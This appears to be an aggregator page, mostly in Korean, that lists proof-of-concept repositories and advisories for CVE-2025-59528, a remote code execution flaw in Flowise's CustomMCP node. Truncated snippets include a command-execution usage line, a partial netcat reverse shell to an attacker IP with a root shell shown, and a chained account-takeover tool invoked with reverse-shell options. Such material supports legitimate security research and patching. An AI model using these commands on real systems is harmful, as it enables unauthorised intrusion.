CVE-2025-59528

CVE-2025-59528: Flowise CustomMCP 원격 코드 실행 PoC CVE-2025-59528 을 대상으로 한 Flowise 버전 예제 go run main.go http://target.com h3D9jD7Xzi0V2KSrld9ff4P3rm6cuNXg1uA-wFsUYc "touch /tmp/pwned"...

CVE-2025-59528-POC

CVE-2025-59528 - FlowiseAI CustomMCP 원격 코드 실행 CVSS 10.0 치명적 | 블라인드 RCE | FlowiseAI Flowise = 2.2.7-patch.1 및 = 2.2.7-patch.1, ;return 1;"...

CVE-2025-59528

CVE-2025-59528 – Flowise CustomMCP 노드 RCE PoC 개요 이 저장소는 Flowise v3.0.5에서 CVE-2025-59528 을 입증하는 개념 증명PoC을 포함합니다. 이 취약점은 customMCP 노드에 존재하며, 사용자가 제공한 mcpServerConfig 입력이 Function 생성자를 사용한 안전하지 않은 평가를 통해 JavaScript 코드 실행으로 이어지는 방식으로 처리됩니다. 영향을 받는 버전 영향받는 버전| 수정된 버전 ---|--- 3.0.5| 3.0.6 영향 인증된 사용자는...

CVE-2025-59528.yaml

CVE-2025-59528.yaml Flowise는 맞춤형 대규모 언어 모델 플로우를 구축하기 위한 드래그 앤 드롭 사용자 인터페이스입니다. 버전 3.0.5에서 Flowise는 원격 코드 실행에 취약합니다. CustomMCP 노드는 사용자가 외부 MCP 서버에 연결하기 위한 구성 설정을 입력할 수 있게 해줍니다. 이 노드는 사용자가 제공한 mcpServerConfig 문자열을 파싱하여 MCP 서버 구성을 빌드합니다. 그러나 이 과정에서 보안 검증 없이 JavaScript 코드를 실행합니다. 구체적으로,...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE CustomMCP 노드를 통한 Flowise 버전 &1|nc 10.10.15.200 443 /tmp/f' 리스너를 확인하면 작동할 것입니다: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned off / whoami root...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Flowise -c "id" 기존 키로 리버스 셸: python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 옵션 Flag| 설명 ---|--- -t, --target| 대상 URL -e, --email| 대상 계정 이메일 ATO 체인 트리거 --api-key| API 키 직접 제공 ATO 건너뛰기 -c, --command| 실행할 명령어 --lhost| 리버스 셸용 공격자 IP...

Flowise-CVE-2025-58434-Chain-59528

FlowiseAI CVE 체인 - ATO CVE-2025-58434 및 RCE CVE-2025-59528 ⚠️ 교육 및 허가된 보안 연구 용도로만 사용하십시오. 귀하가 소유하지 않거나 서면 허가 없이 테스트하는 시스템에 대해 이 도구를 실행하는 것은 불법 입니다. 목차 이 저장소에는 두 가지 Flowise 취약점을 연결하는 Python 개념 증명PoC이 포함되어 있습니다: CVE-2025-58434 — 노출된 비밀번호 재설정 토큰 동작을 통한 계정 탈취. CVE-2025-59528 — CustomMCP 노드의 안전하지 않은...

Exploit for Code Injection in Flowiseai Flowise

CVE-2025-59528-Flowis...

Flowise Cross-Site Scripting Vulnerability

Flowise is a FlowiseAI open source tool for easily building LLM applications. A cross-site scripting vulnerability exists in Flowise version 3.0.5, which originates from a CustomMCP node directly executing user-entered JavaScript code and can be exploited by an attacker to cause remote code...

Flowise 代码注入漏洞

Flowise is a FlowiseAI open source tool for easily building LLM applications. A cross-site scripting vulnerability exists in Flowise version 3.0.5, which originates from a CustomMCP node directly executing user-entered JavaScript code and can be exploited by an attacker to cause remote code...

CVE-2025-59528: Improper Control of Generation of Code

Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5, Flowise is vulnerable to remote code execution. The CustomMCP node allows users to input configuration settings for connecting to an external MCP server. This node parses the user-provided...